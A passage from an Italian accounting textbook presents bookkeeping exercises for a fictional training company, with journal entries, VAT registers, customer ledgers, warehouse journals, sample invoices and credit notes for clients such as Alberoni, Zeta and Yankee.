riepilogo IVA				
imponibile	aliquota	IVA	totale IVA	46,09
				0,00
0,00	4%	0,00		0,00
460,85	10%	46,09	506,94	totale nota di accredito
0,00	20%	0,00		

124.8.4 Giornale di contabilità generale

	data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere	
1	11 gen	1501	crediti v/clienti	1		Fattura di vendita al cliente Alberoni, pagamento con cambiale tratta a 60 giorni data fattura, per la quale si addebitano i bolli.	123	11 gen		15 147,23		*15 147,23*
1		3103	rimborsi spese di vendita								181,80	*14 965,43*
1		3101	merci c/vendite								12 593,69	*2 371,74*
1		2601	IVA n/debito								2 371,74	*0,00*
2	11 gen	1505	cambiali attive			Emessa la cambiale tratta relativa alla fattura 123 del 11/1.				15 147,23		*15 147,23*
2		1501	crediti v/clienti	1							15 147,23	*0,00*
3	15 gen	3110	resi su vendite			Emessa nota di accredito per merci rese, relativa alla fattura 123 del 11/1.	124	15 gen		460,85		*460,85*
3		2601	IVA n/debito							46,09		*506,94*
3		1501	crediti v/clienti	1							506,94	*0,00*

124.8.5 Registro IVA delle vendite

registro delle fatture di vendita

data di registrazione	data del documento	indicatore di errore	numero doc. e prot.	indicatore di errore	cliente		fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
11 gen 2010	11 gen 2010		123		1	Alberoni & C.	fatt.	15147,23	1411,69	10%	141,17		aliquota 10%
									10682,00	20%	2136,40		aliquota 20%
									58,36	10%	5,84		aliquota 10%
									441,64	20%	88,33		aliquota 20%
									181,80	es15	0,00		esclusa art. 15
15 gen 2010	15 gen 2010		124		1	Alberoni & C.	n. acc.	-506,94	-460,85	10%	-46,09		aliquota 10%
					totali			**14640,29**	**12314,64**		**2325,65**		

riepiloghi

codice IVA	descrizione	imponibili	imposte	imposte deducibili
10%	aliquota 10%	1009,20	100,92	100,92
20%	aliquota 20%	11123,64	2224,73	2224,73
es15	esclusa art. 15	181,80	0,00	0,00
	totali	**12314,64**	**2325,65**	**2325,65**

124.8.6 Partitario clienti

codice cliente	scheda del cliente: «Alberoni & C.»	eccedenza dare	eccedenza avere
1		0,00	506,94

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	11/01	123	11/01		Fattura di vendita al cliente Alberoni, pagamento con cambiale tratta a 60 giorni data fattura, per la quale si addebitano i bolli.	15 147,23	0,00
2	11/01				Emessa la cambiale tratta relativa alla fattura 123 del 11/1.	0,00	15 147,23
3	15/01	124	15/01		Emessa nota di accredito per merci rese, relativa alla fattura 123 del 11/1.	0,00	506,94
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

124.8.7 Giornale di magazzino

Giornale di magazzino

n.	data	codice	articolo	descrizione dell'operazione	+ carico – reso su acq.	+ scarico (– reso su vend.)	+ valore carico – valore reso su acq.
1	11/01	10	miele di acacia 1 kg	vendita, ft 123 del 11/1		200,0000	
2	11/01	11	cera d'api grezza 1 kg	vendita, ft 123 del 11/1		100,0000	
3	11/01	12	pappa reale pura 10 g	vendita, ft 123 del 11/1		300,0000	
4	11/01	13	propoli 20 g	vendita, ft 123 del 11/1		500,0000	
5	15/01	10	miele di acacia 1 kg	reso con na 124 del 15/1		-100,0000	

In questo caso si è preferito annotare il reso con una scrittura di magazzino separata, invece di ridurre lo scarico originario, come invece occorrerebbe fare per una valorizzazione esatta del costo medio ponderato per movimento.

124.9 Verifica sulla gestione dei documenti della vendita (vend2)

Si eseguono le operazioni seguenti.

- **10 novembre**

  Si emette fattura n. 110 per vendita al cliente Alberoni di 100 borse per notebook al prezzo di listino, che inizialmente è di 10,00 € per unità. Il pagamento previsto è con rimessa diretta a 30 giorni dalla data della fattura.

- **11 novembre**

  Si emette fattura n. 111 per vendita al cliente Alberoni di 200 borse per notebook al prezzo di listino, con uno sconto del 2 %. Il pagamento previsto è lo stesso della fattura precedente.

- **12 novembre**

  Si emette la fattura n. 112 per vendita al cliente Alberoni di 300 borse per notebook al prezzo di listino, con uno sconto del 3 %. Per il pagamento, viene emessa una cambiale tratta a 30 giorni dalla data della fattura.

- **12 novembre**

  Si emette la cambiale tratta relativa alla fattura n. 112.

- **15 novembre**

  Si emette la nota di accredito n. 113 per reso dal cliente Alberoni di 50 borse per notebook risultate difettose. La nota di accredito si riferisce alla fattura n. 111.

- **30 novembre**

  Si aggiorna la contabilità generale per i documenti emessi: fatture, cambiale tratta e nota di accredito. Quindi si stampa il giornale di contabilità generale.

- **30 novembre**

  Si aggiorna il registro IVA delle vendite e lo si stampa.

- **30 novembre**

  Si stampa la scheda del cliente Alberoni.

- **30 novembre**

  Si aggiorna il giornale di magazzino, mettendo il reso corrispondente alla nota di accredito in una registrazione propria. Successivamente si stampa il giornale di magazzino.

Dopo averli controllati, si devono presentare i documenti seguenti:

1. fatture n. 110, 111 e 112;
2. cambiale tratta della fattura n. 112;
3. nota di accredito n. 113;
4. il giornale di contabilità generale;
5. il registro IVA delle vendite;
6. la scheda del cliente Alberoni;
7. il giornale di magazzino.

124.10 Verifica sulla gestione dei documenti della vendita (vend3)

Si eseguono le operazioni seguenti, equivalenti a quelle della verifica precedente, emettendo però fatture accompagnatorie, tenendo conto che con il cliente Alberoni è stato concordato l'invio della merce attraverso il vettore Martino trasporti e che il porto è franco nostro magazzino (pertanto il vettore addebita le spese di trasporto direttamente al destinatario).

- **10 novembre**

  Si emette fattura accompagnatoria n. 110 per vendita al cliente Alberoni di 100 borse per notebook al prezzo di listino, che inizialmente è di 10,00 € per unità. Il pagamento previsto è con rimessa diretta a 30 giorni dalla data della fattura.

- **11 novembre**

  Si emette fattura accompagnatoria n. 111 per vendita al cliente Alberoni di 200 borse per notebook al prezzo di listino, con uno sconto del 2 %. Il pagamento previsto è lo stesso della fattura precedente.

- **12 novembre**

  Si emette la fattura accompagnatoria n. 112 per vendita al cliente Alberoni di 300 borse per notebook al prezzo di listino, con uno sconto del 3 %. Per il pagamento, viene emessa una cambiale tratta a 30 giorni dalla data della fattura.

- **12 novembre**

  Si emette la cambiale tratta relativa alla fattura n. 112.

- **15 novembre**

  Si emette la nota di accredito n. 113 per reso dal cliente Alberoni di 50 borse per notebook risultate difettose. La nota di accredito si riferisce alla fattura n. 111.

- **30 novembre**

  Si aggiorna la contabilità generale per i documenti emessi: fatture, cambiale tratta e nota di accredito. Quindi si stampa il giornale di contabilità generale.

- **30 novembre**

  Si aggiorna il registro IVA delle vendite e lo si stampa.

- **30 novembre**

  Si stampa la scheda del cliente Alberoni.

- **30 novembre**

  Si aggiorna il giornale di magazzino, mettendo il reso corrispondente alla nota di accredito in una registrazione propria. Successivamente si stampa il giornale di magazzino.

Dopo averli controllati, si devono presentare i documenti seguenti:

1. fatture accompagnatorie n. 110, 111 e 112;
2. cambiale tratta della fattura n. 112;
3. nota di accredito n. 113;
4. il giornale di contabilità generale;
5. il registro IVA delle vendite;
6. la scheda del cliente Alberoni;
7. il giornale di magazzino.

124.11 Verifica sulla gestione dei documenti della vendita (vend4)

Si eseguono le operazioni seguenti.

- **10 novembre**

  Si emette il documento di trasporto n. 100 per vendita al cliente Alberoni di 20 teli copri monitor al prezzo di listino che inizialmente è di 5,00 € per unità. Il cliente preleva la merce dal nostro magazzino e provvede al trasporto con mezzi propri.

- **11 novembre**

  Si emette il documento di trasporto n. 101 per vendita al cliente Alberoni di 100 porta CD/DVD a colonna, al prezzo di listino che inizialmente è di 10,00 € per unità. La consegna e il trasporto si svolgono con la stessa modalità del punto precedente.

- **12 novembre**

  Si emette la fattura accompagnatoria n. 200 per vendita al cliente Belletti Ugo di 300 borse per notebook al prezzo di listino, che inizialmente è di 20,00 € per unità. Il trasporto viene effettuato con mezzi nostri, fino al magazzino del cliente, addebitando spese di trasporto per 200,00 euro;. Il pagamento previsto è a vista fattura.

- **30 novembre**

  Si emettono le fatture differite relative ai documenti di trasporto emessi nel mese. Il pagamento previsto per le fatture emesse al cliente Alberoni è con cambiale tratta a 30 giorni dalla data di emissione della fattura.

- **30 novembre**

  Se non è già stato fatto, si aggiorna la contabilità generale per le fatture emesse.

- **30 novembre**

  Si emettono le cambiali tratte previste.

- **30 novembre**

  Si aggiornata la contabilità generale per l'emissione delle tratte e quindi si stampa il giornale.

- **30 novembre**

  Si aggiorna il giornale di magazzino e lo si stampa.

Si devono presentare i documenti seguenti:

1. documento di trasporto n. 100;
2. documento di trasporto n. 101;
3. fattura accompagnatoria n. 200;
4. fattura differita n. 201;
5. fattura differita n. 202;
6. le cambiali tratte;
7. il giornale di magazzino;
8. il giornale di contabilità generale.
9. il registro IVA delle vendite;

124.12 Verifica integrata (int1)

Nell'azienda, avvengono i fatti seguenti, che devono essere gestiti per ciò che riguarda la contabilità generale, la contabilità di magazzino e la gestione delle vendite, secondo quanto già visto nei capitoli precedenti:

- **2 gennaio**

  Si riscuote dal cliente Alberoni la somma di 1000,00 € in assegno che si versa immediatamente in banca.

- **2 gennaio**

  Si riceve dal fornitore Tutto hardware merce accompagata dal documento di trasporto seguente, che viene protocollato con il numero 1, essendo il primo DDT che si riceve nell'anno:

```
.--------------------------------------------------------------------------------.
| Tuttohardware                        | Spett.                                    |
| ...                                  | Ditta per le esercitazioni                |
|                                      | ...                                       |
|                                      | ...                                       |
|                                      | prot. 1                                   |
|--------------------------------------------------------------------------------|
| Documento di trasporto n. 7/   del 02-01-2010                                    |
|--------------------------------------------------------------------------------|
|codice| descrizione        | quantità | prezzo unitario                           |
|------|--------------------|----------|-------------------------------------------|
| 77RT | luce per notebook  |      400 |                                      5,00 |
|      |                    |          |                                           |
|      |                    |          |                                           |
|      |                    |          |                                           |
|--------------------------------------------------------------------------------|
| Trasporto a cura del venditore        | Causale del trasporto: VENDITA           |
|---------------------------------------|------------------------------------------|
| Aspetto ester.: A VISTA    | Colli 20 | Firma del destinatario                   |
|---------------------------------------|------------------------------------------|
|                                       | Data e ora ritiro | Firma vettore        |
|                                       | 02/01/2010 10:30  |                      |
|                                       |                   |                      |
'--------------------------------------------------------------------------------'
```

- **3 gennaio**

  Si riceve la fattura del documento di trasporto arrivato il giorno precedente. La fattura viene protocollata con il numero 1, essendo la prima fattura di acquisto dell'anno:

```
.--------------------------------------------------------------------------------.
| Tutto hardware                       | Spett.                                    |
| ...                                  | Ditta per le esercitazioni                |
|                                      | ...                                       |
|                                      | ...                                       |
|                                      | PROTOCOLLO 1                              |
|--------------------------------------------------------------------------------|
| Fattura n. 3/   del 02-01-1984                                                   |
|--------------------------------------------------------------------------------|
| pagamento Ricevuta bancaria 60 gg d.f.     banca di appoggio Banca X             |
|--------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|-------------------------------------------------------------------------|
| 77RT | luce per notebook  |    400 |       5,00 |      |        2000,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|---------------------|----------------------------|
| Totale merce     2.000,00 |                     | Totale netto      2.000,00 |
|--------------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|          2.000,00 |           20 |                  400,00 |          2.000,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale IVA        |
|                   |              |                         |            400,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale fattura    |
|                   |              |                         |          2.400,00 |
|----------------------------------------------------------|===================|
| Scadenze: 03/03        2.400,00                                                  |
'--------------------------------------------------------------------------------'
```

- **04 gennaio**

  Si inviano al cliente Alberoni 5 borse per notebook e, contestualmente, si emette la fattura accompagnatoria numero 1, per la quale si intende emettere successivamente una cambiale tratta a 30 giorni data fattura. Il trasporto avviene con vettore Calpurnio, a carico del cliente.

- **31 gennaio**
  Si aggiorna la contabilità generale per le fatture emesse.
- **31 gennaio**
  Si emette la cambiale tratta relativa alla fattura 1.
- **31 gennaio**
  Si aggiorna la contabilità generale per l'emissione della cambiale tratta.
- **31 gennaio**
  Si stampa il giornale di contabilità generale del mese di gennaio.
- **31 gennaio**
  Si compilano e si stampano i registri IVA del mese di gennaio.
- **31 gennaio**
  Si compila e si stampa il giornale di magazzino.

Si devono presentare i documenti seguenti:

1. fattura di vendita numero 1;
2. tratta riferita alla fattura 1;
3. stampa del giornale di contabilità generale;
4. stampa del registro IVA delle vendite;
5. stampa del registro IVA degli acquisti;
6. stampa del giornale di magazzino;

124.13 Verifica integrata (int2), guidata - prima parte

In questo capitolo inizia una verifica più complessa del solito sull'uso dell'applicativo gestionale. Per poter svolgere correttamente l'esercizio che segue è necessario avere un'idea chiara di come funzionano le tre parti fondamentali della procedura: contabilità generale, contabilità di magazzino, gestione delle vendite (ovvero la fatturazione).

Si deve fare attenzione a non confondere le stampe di questa verifica con quelle fatte in precedenza.

Le stampe vanno tenute ordinatamente, senza doppioni: se per esempio una stampa di un certo documento viene eseguita più volte, si deve conservare sempre solo quella più aggiornata.

I numeri dei documenti e i numeri di protocollo sono importanti: non vanno inseriti a caso.

Anche le date sono importanti e non vengono inserite a caso.

124.13.1 Preparazione

L'esercitazione riguarda la contabilità di un'azienda i cui fatti di gestione sono distribuiti nel mese di ottobre; tuttavia, prima di procedere con questa si inseriscono le eccedenze dei conti e le giacenze di magazzino, attraverso scritture apposite.

Rispetto alla codifica già indicata nella sezione 124.1, si aggiungono due articoli di magazzino:

- codice Articolo: A
  descrizione: merce A
  prezzo di listino: 1,00 €
  IVA: 20%
- codice Articolo: B
  descrizione: merce B
  prezzo di listino: 1,00 €
  IVA: 20%

124.13.2 Inserimento della situazione iniziale

30 settembre

Vengono caricati i valori delle giacenze iniziali degli articoli di magazzino, con una scrittura per ogni articolo nel giornale di magazzino. Le operazioni vanno registrate come carichi, per i quali si mette la descrizione «giacenza iniziale».

- codice articolo: A
  giacenza iniziale: 50000 unità
  valore giacenza iniziale: 25 000,00 €
- codice articolo: B
  giacenza iniziale: 10000 unità
  valore giacenza iniziale: 5 000,00 €

30 settembre

Viene effettuata una scrittura in contabilità generale, per attribuire le eccedenze iniziali. La scrittura assomiglia vagamente a un'apertura dei conti, dove però si aprono anche i conti economici. Va osservato che per i clienti e i fornitori si deve utilizzare il conto generico (crediti verso clienti, debiti verso fornitori), aggiungendo l'indicazione specifica del cliente e del fornitore nella colonna apposita.

Bilancio di verifica dell'azienda in data 30 settembre.

Dare		Avere	
cliente Emme	7763,90	fornitore Delta	18138,24
cliente Yankee	6291,60	fornitore ERREX	21031,42
cliente Zeta	7211,61	fornitore Domenichelli	101,15
banca X c/c	4338,00	cambiali passive	5431,00
cambiali attive	12835,80	debito per TFRL	9000,00
denaro in cassa	6670,30	fondo svalutazione crediti	1317,00
macchine d'ufficio	8000,00	debiti per imposte	1100,00
fabbricati	80000,00	fondo ammortamento fabbricati	22515,00
		istituti previdenziali	1485,00
		debito per IVA	1000,00
		patrimonio netto	69903,10
merci c/acquisti	60487,00	merci c/vendite	50912,00
costi di consulenze	2285,70	ribassi e abbuoni attivi	102,00
ribassi e abbuoni passivi	83,00		
salari e stipendi	3121,00		
oneri sociali	2670,00		
costi di trasporto	278,00		
Totale dare	202035,91	Totale avere	202035,91

- Contabilizzare la situazione dei conti con una scrittura nel giornale di contabilità generale.

Si suggerisce di fare una scrittura simile all'esempio che si può vedere nella figura successiva, tenendo conto che va realizzata nel giornale di contabilità generale.

cliente Emme	situazione dei conti al 30 settembre	7763,90	
cliente Yankee		6291,60	
cliente Zeta		7211,61	
banca X c/c		4338,00	
cambiali attive		12835,80	
denaro in cassa		6670,30	
macchine d'ufficio		8000,00	
fabbricati		80000,00	
merci c/acquisti		60487,00	
costi di consulenze		2285,70	
ribassi e abbuoni passivi		83,00	
salari e stipendi		3121,00	
oneri sociali		2670,00	
costi di trasporto		278,00	
fornitore Delta			18138,24
fornitore Errex			21031,42
fornitore Domenichelli			101,15
cambiali passive			5431,00
debito per TFRL			9000,00
fondo svalutazione crediti			1317,00
debiti per imposte			1100,00
fondo ammortamento fabbricati			22515,00
istituti previdenziali			1485,00

debito per IVA			1000,00
patrimonio netto			69903,10
merci c/vendite			50912,00
ribassi abbuoni attivi			102,00

30 settembre

Viene effettuata la stampa del bilancio di verifica per controllare l'esattezza dei saldi inseriti tramite l'apertura dei conti. La stampa del bilancio di verifica si ottiene dalla scheda del piano dei conti, filtrando in modo da visualizzare solo quelli usati effettivamente in contabilità.

- Effettuare la stampa del bilancio di verifica.

1201	fabbricati			80 000,00	0,00
1205	macchine d'ufficio			8 000,00	0,00
1211	fondo ammortamento fabbricati			0,00	22 515,00
1501	crediti v/clienti			21 267,11	0,00
1505	cambiali attive			12 835,80	0,00
1540	fondo svalutazione crediti			0,00	1 317,00
1820	denaro in cassa			6 670,30	0,00
2101	patrimonio netto			0,00	69 903,10
2301	debiti per TFRL			0,00	9 000,00
2501	debiti v/fornitori			0,00	39 270,81
2503	cambiali passive			0,00	5 431,00
2605	debiti per IVA			0,00	1 000,00
2606	debiti per imposte			0,00	1 100,00
2811	istituti previdenziali			0,00	1 485,00
2820	banca ... c/c			4 338,00	0,00
3101	merci c/vendite			0,00	50 912,00
3111	ribassi e abbuoni passivi			83,00	0,00
4101	merci c/acquisti			60 487,00	0,00
4111	ribassi e abbuoni attivi			0,00	102,00
4201	costi di trasporto			278,00	0,00
4204	costi di consulenze			2 285,70	0,00
4401	salari e stipendi			3 121,00	0,00
4402	oneri sociali			2 670,00	0,00

- Controllare tutti i conti del bilancio di verifica e, se necessario, fare le correzioni e ripetere la stampa.

124.13.3 Le operazioni dal 1 ottobre al 31 ottobre

2 ottobre

Ricevuta una fattura accompagnatoria dalla ditta Errex che viene protocollata con il numero 35. Segue la fattura:

```
.------------------------------------------------------------------------------.
| E R R E X   s.r.l.                    | Spettabile                           |
| ...                                   | Ditta per le esercitazioni           |
|                                       | ...                                  |
|                                       | ...                                  |
|                                       | PROTOCOLLO 035                       |
|------------------------------------------------------------------------------|
| Fattura accompagnatoria n. 123/   del 02 ottobre                             |
|------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f.     banca di appoggio: banca X       |
|------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|--------------------|--------|------------|------|----------------|----|
| 7856 | Articolo «A»       |   2400 |       0,60 |      |       1.440,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|---------------------|----------------------------|
| Totale merce     1.440,00 | Sconto 10%   144,00 | Totale netto      1.296,00 |
|------------------------------------------------------------------------------|
| Imponibile         | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|          1.296,00  |          20% |                  259,20 |          1.296,00 |
|                    |              |                         |-------------------|
|                    |              |                         | Totale IVA        |
|                    |              |                         |            259,20 |
|                    |              |                         |-------------------|
|                    |              |                         | Totale fattura    |
|                    |              |                         |          1.555,20 |
|---------------------------------------------------------------|===================|
| Scadenze: 02 dicembre    1.555,20                                            |
|------------------------------------------------------------------------------|
| Trasporto a cura del DESTINATARIO      | Causale del trasporto: VENDITA      |
|----------------------------------------|-------------------------------------|
| Data e ora inizio: 02 ottobre 10:30    | Firma del conducente                |
|----------------------------------------|-------------------------------------|
| Aspetto ester.: cartone    | Colli 03  | Firma del destinatario              |
|----------------------------------------|-------------------------------------|
| Dati del vettore                       | Data e ora ritiro | Firma vettore   |
|                                        |                   |                 |
|                                        |                   |                 |
'------------------------------------------------------------------------------'
```

- Registrare il carico per acquisto della merce in contabilità di magazzino.
- Registrare l'acquisto in contabilità generale.

merci c/acquisti	*ricevuta fattura...*	1296,00	
IVA n/credito		259,20	
fornitore Errex			1555,20

2 ottobre

Pagate a mezzo banca spese di trasporto per 101,15 € alla ditta Domenichelli.

- Registrare il pagamento in contabilità generale.

fornitore Domenichelli	*pagamento...*	101,15	
banca X c/c			101,15

2 ottobre

Ricevuto assegno di 3240,00 € dalla ditta Yankee a saldo fattura n. 92 del 15 settembre di 3600,00 € (abbuono qualitativo); la differenza viene regolata nei giorni successivi con una nota di accredito.

- Registrare il ricevimento dell'assegno in contabilità generale.

assegni	*riscossione...*	3240,00	
cliente Yankee			3240,00

3 ottobre

Emessa fattura accompagnatoria n. 100 per vendita alla ditta Zeta, per la quale si concorda un pagamento con rimessa diretta a 30 giorni dalla data della fattura. Il trasporto è a cura del destinatario.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
articolo B	2850	1,00	2850,00
IVA 20%			570,00
Totale fattura			3420,00

- Emettere la fattura accompagnatoria (la figura mostra una fattura leggermente diversa, in quanto priva delle informazioni sull'accompagnamento della merce; ciò che va emesso, invece, è una fattura accompagnatoria).
- Registrare in contabilità generale l'emissione della fattura.
- Registrare in contabilità di magazzino lo scarico per vendita.

Azienda per le esercitazioni piazza della Vittoria, 3/4 31100 - Treviso - (TV) p.i.: 80011540269	numero fattura **100**	data fattura 3 ottobre 2010
	codice cliente: 6	
	Zeta via Arbe, 50 20100 Milano MI CF o PI: 01720430485	

spese di trasporto	spese di imballo	pagamento	
		3	rimessa diretta 30 g.d.f.

ordine		documento di trasporto	
numero	data	numero	data

articolo	descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
B	merce B	2850			1,00	2.850,00	20%
				sconto sul totale:		0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale spese non documentate	0,00
0,00	4%	0,00	totale IVA	570,00
0,00	10%	0,00	spese documentate escluse dalla base imponibile	0,00
2.850,00	20%	570,00	interessi	0,00
			cauzioni	0,00
ripartizione spese non documentate	aliquota	IVA	bolli	0,00
	4%	0,00	scadenza fattura:	
	10%	0,00	2 novembre 2010	
	20%	0,00	totale fattura	3.420,00

3 ottobre

Inviata nota di accredito alla ditta Yankee per l'abbuono qualitativo concesso in occasione del pagamento del 2 ottobre.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Abbuono qualitativo			300,00
IVA 20%			60,00
Totale nota di accredito			360,00

- Emettere la nota di accredito.

Azienda per le esercitazioni piazza della Vittoria, 3/4 31100 - Treviso - (TV) p.i.: 80011540269	nota di accredito n.	data documento
	101	3 ottobre 2010
	codice cliente: 5	
	Yankee via dei coniugi, 15 31100 Treviso TV CF o PI: 00496700261	

riferimento fattura		note
numero	data	
92	15 settembre 2010	

descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
abbuono qualitativo	1			300,00	300,00	20%
				sconto sul totale:	0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale IVA	60,00
				0,00
0,00	4%	0,00		0,00
0,00	10%	0,00		
300,00	20%	60,00	360,00	totale nota di accredito

- Registrare la nota di accredito in contabilità generale.

5 ottobre

Versato in banca l'assegno ricevuto il 2 ottobre dalla ditta Yankee e in contanti 3 850,00 € per un totale di 7 090,00 €.

- Registrare il versamento dell'assegno e del contante in contabilità generale.

5 ottobre

Il cliente Zeta paga anticipatamente la fattura n. 100 emessa il 3 ottobre con un assegno. Per questo gli viene concesso uno sconto del 2 %. In un momento successivo si provvede a inviare la nota di accredito; per ora ci si occupa soltanto dell'incasso. L'importo pagato dal cliente è di 3 351,60 €.

- Registrare il ricevimento dell'assegno in contabilità generale.

5 ottobre

Inviata alla ditta Zeta nota di accredito per lo sconto relativo alla vendita del 3 ottobre, con fattura n. 100.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
sconto per pagamento anticipato			57,00
IVA 20%			11,40
Totale nota di accredito			68,40

- Emettere la nota di accredito.

Azienda per le esercitazioni
piazza della Vittoria, 3/4
31100 - Treviso - (TV)
p.i.: 80011540269

nota di accredito n.	data documento
102	5 ottobre 2010

codice cliente: 6

Zeta
via Arbe, 50
20100 Milano MI
CF o PI: 01720430485

riferimento fattura		note
numero	data	
100	3 ottobre 2010	

descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
sconto per pagamento anticipato	1			57,00	57,00	20%
				sconto sul totale:	0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale IVA	11,40
0,00	4%	0,00		0,00
0,00	10%	0,00		0,00
57,00	20%	11,40	totale nota di accredito	68,40

5 ottobre

Girato l’assegno della ditta Zeta alla ditta Delta.

- Registrare l’operazione in contabilità generale.

Fornitore Delta	*Pagamento...*	3351,60	
Assegni			3351,60

6 ottobre

Ricevuta merce dalla ditta Delta, come evidenziato dal documento di trasporto seguente:

```
.-----------------------------------------------------------------------------.
| D E L T A   s.p.a.                  | Spett.                                |
| ...                                 | Ditta per le esercitazioni            |
|                                     | ...                                   |
|                                     | ...                                   |
|                                     | PROTOCOLLO 042                        |
|-----------------------------------------------------------------------------|
| Documento di trasporto n. 243/   del 06 ottobre                             |
|-----------------------------------------------------------------------------|
|codice| descrizione        | quantità | prezzo unitario                      |
|------|--------------------|----------|--------------------------------------|
| 97TR | Articolo «B»       |    10680 |                                 0,55 |
|      |                    |          |                                      |
|      |                    |          |                                      |
|      |                    |          |                                      |
|-----------------------------------------------------------------------------|
| Trasporto a cura del DESTINATARIO     | Causale del trasporto: VENDITA      |
|---------------------------------------|-------------------------------------|
| Data e ora inizio: 06 ottobre 10:30   | Firma del conducente                |
|---------------------------------------|-------------------------------------|
| Aspetto ester.: cartone    | Colli 11 | Firma del destinatario              |
|---------------------------------------|-------------------------------------|
| Dati del vettore                      | Data e ora ritiro | Firma vettore   |
|                                       |                   |                 |
|                                       |                   |                 |
'-----------------------------------------------------------------------------'
```

- Registrare il carico della merce per acquisto in contabilità di magazzino.

6 ottobre

Presentate allo sconto cambiali delle ditte Emme e Zeta per complessive 5680,00 €.

- Registrare la presentazione delle cambiali allo sconto.

Cambiali allo sconto	*presentazione cambiali allo sconto...*	5680,00	
Cambiali attive			5680,00

7 ottobre

Scontate cambiali delle ditte Emme e Zeta presentate il 6 ottobre per complessive 5680,00 €; sconto 18 % per 68 giorni complessivi. Sconto = 193,12; netto Ricavo = 5486,88 €.

- Registrare lo sconto cambiali in contabilità generale.

Banca X c/c	*Sconto cambiali...*	5486,88	
Oneri finanziari diversi		193,12	
Cambiali allo sconto			5680,00

8 ottobre

Emessa fattura accompagnatoria sulla ditta Emme per vendita di merce A. La merce è stata spedita con un nostro mezzo e quindi si addebitano le spese di trasporto non documentate. Il pagamento della fattura è previsto con l'emissione di cambiale tratta a 30 giorni dalla data della fattura.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo A	6850	1,00	6850,00
Spese di trasporto e accessorie non documentate			135,00
Totale			6985,00
IVA 20%			1397,00
bolli (IVA esclusa art. 15)			101,85
Totale fattura			8483,85

- Emettere la fattura (la figura mostra una fattura leggermente diversa, in quanto priva delle informazioni sull'accompagnamento della merce; ciò che va emesso, invece, è una fattura accompagnatoria).

Azienda per le esercitazioni piazza della Vittoria, 3/4 31100 - Treviso - (TV) p.i.: 80011540269	numero fattura: **103**	data fattura: 8 ottobre 2010
	codice cliente: 4	
	Emme viale Libertà, 17 10100 Torino TO CF o PI: 02513310017	

spese di trasporto non documentate	spese di imballo	pagamento	
€ 135,00		11	tratta 30 g.d.f.

banca di appoggio: banca del mare

ordine		documento di trasporto	
numero	data	numero	data

articolo	descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
A	merce A	6850			1,00	6.850,00	20%
					sconto sul totale:	0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale spese non documentate	135,00
			totale IVA	1.397,00
0,00	4%	0,00	spese documentate escluse dalla base imponibile	0,00
0,00	10%	0,00	interessi	0,00
6.850,00	20%	1.370,00	cauzioni	0,00
ripartizione spese non documentate	aliquota	IVA	bolli	101,85
0,00	4%	0,00	scadenza fattura:	
0,00	10%	0,00	7 novembre 2010	totale fattura 8.483,85
135,00	20%	27,00		

- Registrare la fattura in contabilità generale.

Crediti v/clienti	*fattura...*	(calcolare)	
Rimborsi spese di vendita			135,00
Rimborsi spese di vendita			101,85
Merci c/vendite			(calcolare)
IVA n/debito			(calcolare)

- Registrare lo scarico in contabilità di magazzino.

9 ottobre

Ricevuta fattura dalla ditta Delta per interessi di mora.

```
.------------------------------------------------------------------------------.
| D E L T A   s.p.a.                   | Spett.                                 |
| ...                                  | Ditta per le esercitazioni             |
|                                      | ...                                    |
|                                      | ...                                    |
|                                      | PROTOCOLLO 036                         |
|------------------------------------------------------------------------------|
| Fattura n. 147/   del 09 ottobre                                             |
|------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f.     banca di appoggio: banca X       |
|------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|--------------------|--------|------------|------|----------------|----|
|      | INTERESSI DI MORA  |        |            |      |          57,95 | 15 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|---------------------|----------------------------|
| Totale merce        57,95 |                     | Totale netto         57,95 |
|------------------------------------------------------------------------------|
| Imponibile       | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|            57,95 |              |       Esclusa art. 15 |             57,95 |
|                  |              |                        |-------------------|
|                  |              |                        | Totale IVA        |
|                  |              |                        |              0,00 |
|                  |              |                        |-------------------|
|                  |              |                        | Totale fattura    |
|                  |              |                        |             57,95 |
|---------------------------------------------------------|===================|
| Scadenze: 09 dicembre   57,95                                                |
'------------------------------------------------------------------------------'
```

- Registrare la fattura in contabilità generale.

Interessi passivi v/fornitori	*fattura interessi...*	57,95	
Fornitore Delta			57,95
IVA ns. credito (esclusa art. 15)		0	

9 ottobre

Pagati oneri sociali a carico del datore di lavoro tramite banca per 1485,00 €.

- Registrare il pagamento in contabilità generale.

Istituti previdenziali	*pagamento oneri sociali a carico dell'azienda*	1485,00	
Banca X c/c			1485,00

10 ottobre

Inviati all'incasso s.b.f. cambiali per 3 635,00 €.

